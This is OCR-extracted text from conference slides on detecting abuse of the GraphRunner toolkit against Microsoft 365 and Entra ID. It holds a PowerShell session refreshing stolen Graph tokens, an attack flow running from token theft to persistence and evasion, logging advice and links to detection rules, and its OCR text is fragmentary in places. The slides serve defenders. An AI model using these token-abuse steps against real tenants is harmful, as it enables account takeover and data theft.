14d82eec-204b-4c2f-b7e8-296a70dab67e

JTENANTS/ETFE4095-076F-410C-A07E-
B6CD5991B434/PROVIDERS/MICROSOFT.AADIAM




PS C:\GraphRunner> $tokens

access_token
eyJOeXAi0iJKV1QiLCIub25jZSI6InNub2FMTUSTWFIFREATRENOMZV3Y10tMUNFMG1XQOPECNIyU2t0OM29PaTALILCIh
PS C:\GraphRunner> Invoke-RefreshGraphTokens -RefreshToken $tokens.refresh_token

[*] Refreshing Tokens...
Error refreshing tokens: Response status code does not indicate success: 400 (Bad Request).

TIMESTAMP METADATA.PR... PRINCIPAL.IP TARGET.APP... METADATA.DESCRIPTION SECURIT... SECURITY_RESU...

2025-02- ALERT ‘ Fresh auth token is needed.
11T13:56:29.926 mike.slayton@th7sz.onmicrosoft.  Sign-in activity 34.152.40.90 Microsoft Office Have the user re-sign using
com - 34.152.40.90 fresh credentials.

NonlinteractiveUser
SigninLogs




Attack Flow with GraphRunner

L] L]
Authentication Enumeration Pillage Persistence Defensive Evasion
Token theft, password spray, What resources does this What information does this How can | find my next victim How can | cover my tracks?
compromise credentials token provide access to? token allow me to access? that provides greater access?

N rd






https://learn.microsoft.com/en-us/defender-cloud-apps/network-requirements
https://learn.microsoft.com/en-us/defender-cloud-apps/network-requirements

Closing Thoughts

Many of these actions are viewed “as-designed” capabilities

Once a token is granted into the system, you have a fair amount of leeway within
the app and associated permissions granted

Absolutely log Office 365 and Entra ID Audit and Logins
e Strongly consider logging Graph API Activity to uncover information gathering
and greater fidelity in requests
e Non-Interactive Sign-in Logs can be noisy but can provide visibility that won't be
there otherwise when working with token refresh

Think about your token refresh strategy and the frequency of login required



Handy Links

Black Hills Information S

e https://www.black (Blog)

Invictus Blogs

hrunner-part-i
hrunner-part-ii

e https://www.invict
e https://www.invict

Example Rules in YARA

in/rules/community/mic



https://www.youtube.com/watch?v=o29jzC3deS0
https://www.blackhillsinfosec.com/introducing-graphrunner/
https://www.invictus-ir.com/news/a-defenders-guide-to-graphrunner-part-i
https://www.invictus-ir.com/news/a-defenders-guide-to-graphrunner-part-ii
https://github.com/chronicle/detection-rules/tree/main/rules/community/microsoft
https://github.com/chronicle/detection-rules/tree/main/rules/community/microsoft

Thank You

John Stoner
Google Cloud
in https://www.linkedin.com/in/johnastoner/
@stonerpsu
M  @stonerpsu@infosec.exchange


https://www.linkedin.com/in/johnastoner/

